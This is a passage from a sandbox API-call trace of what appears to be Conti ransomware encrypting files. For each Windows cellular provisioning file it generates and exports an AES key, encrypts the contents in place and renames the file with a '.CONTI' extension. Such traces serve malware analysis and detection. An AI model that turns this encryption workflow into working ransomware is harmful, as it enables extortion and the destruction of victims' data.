	[0108.030] SetEndOfFile (hFile=0x384) returned 1
	[0108.030] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.030] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.030] WriteFile (in: hFile=0x384, lpBuffer=0x6515bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x6515bec*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.032] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.032] ReadFile (in: hFile=0x384, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2d4, lpOverlapped=0x0) returned 1
	[0108.032] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d4, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2e0) returned 1
	[0108.032] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.032] WriteFile (in: hFile=0x384, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2e0, lpOverlapped=0x0) returned 1
	[0108.032] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.033] WriteFile (in: hFile=0x384, lpBuffer=0x6515be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x6515be0*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0108.033] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.033] CloseHandle (hObject=0x384) returned 1
	[0108.033] GetProcessHeap () returned 0x1720000
	[0108.033] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.033] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml"
	[0108.033] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.033] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.034] GetProcessHeap () returned 0x1720000
	[0108.034] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.034] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.034] GetProcessHeap () returned 0x1720000
	[0108.034] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3688 | out: hHeap=0x1720000) returned 1
	[0108.034] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0108.384] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c7c70) returned 1
	[0108.476] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x46fff1c | out: pbData=0x17d5434*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0108.477] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.488] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.488] GetLastError () returned 0x0
	[0108.489] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=646) returned 1
	[0108.489] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x286
	[0108.489] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.489] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.493] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.494] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.494] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.509] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.509] ReadFile (in: hFile=0x3c4, lpBuffer=0xc610000, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x286, lpOverlapped=0x0) returned 1
	[0108.509] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x286, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x290) returned 1
	[0108.509] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.509] WriteFile (in: hFile=0x3c4, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x290, lpOverlapped=0x0) returned 1
	[0108.510] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.510] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0108.510] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.510] CloseHandle (hObject=0x3c4) returned 1
	[0108.510] GetProcessHeap () returned 0x1720000
	[0108.510] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.510] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0108.510] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.510] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.520] GetProcessHeap () returned 0x1720000
	[0108.520] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.520] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0108.520] GetProcessHeap () returned 0x1720000
	[0108.520] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6587f10 | out: hHeap=0x1720000) returned 1
	[0108.520] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0108.520] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x17c77f0) returned 1
	[0108.520] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x46fff1c | out: pbData=0x17c534c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0108.521] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.528] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0108.528] GetLastError () returned 0x0
	[0108.528] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=726) returned 1
	[0108.528] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0108.528] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.528] SetEndOfFile (hFile=0x37c) returned 1
	[0108.528] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.528] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.529] WriteFile (in: hFile=0x37c, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.530] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.530] ReadFile (in: hFile=0x37c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2d6, lpOverlapped=0x0) returned 1
	[0108.530] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d6, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2e0) returned 1
	[0108.530] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.530] WriteFile (in: hFile=0x37c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2e0, lpOverlapped=0x0) returned 1
	[0108.531] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.531] WriteFile (in: hFile=0x37c, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0108.531] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.531] CloseHandle (hObject=0x37c) returned 1
	[0108.531] GetProcessHeap () returned 0x1720000
	[0108.531] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b44050
	[0108.531] lstrcpyW (in: lpString1=0x6b44050, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml"
	[0108.531] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.531] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.532] GetProcessHeap () returned 0x1720000
	[0108.532] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b44050 | out: hHeap=0x1720000) returned 1
	[0108.532] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0108.532] GetProcessHeap () returned 0x1720000
	[0108.532] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e090 | out: hHeap=0x1720000) returned 1
	[0108.532] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0108.532] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17c4108 | out: phKey=0x17c4108*=0x17c7db0) returned 1
	[0108.532] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c410c, pdwDataLen=0x46fff1c | out: pbData=0x17c410c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0108.533] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.533] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0108.533] GetLastError () returned 0x0
	[0108.533] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=776) returned 1
	[0108.533] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x308
	[0108.533] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.533] SetEndOfFile (hFile=0x37c) returned 1
	[0108.533] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.533] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.533] WriteFile (in: hFile=0x37c, lpBuffer=0x17c410c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17c410c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.535] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.535] ReadFile (in: hFile=0x37c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x308, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x308, lpOverlapped=0x0) returned 1
	[0108.535] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x308, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x310) returned 1
	[0108.535] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.535] WriteFile (in: hFile=0x37c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x310, lpOverlapped=0x0) returned 1
	[0108.535] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.535] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4100*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17c4100*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0108.536] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.536] CloseHandle (hObject=0x37c) returned 1
	[0108.536] GetProcessHeap () returned 0x1720000
	[0108.536] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b44050
	[0108.536] lstrcpyW (in: lpString1=0x6b44050, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml"
	[0108.536] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml.CONTI"
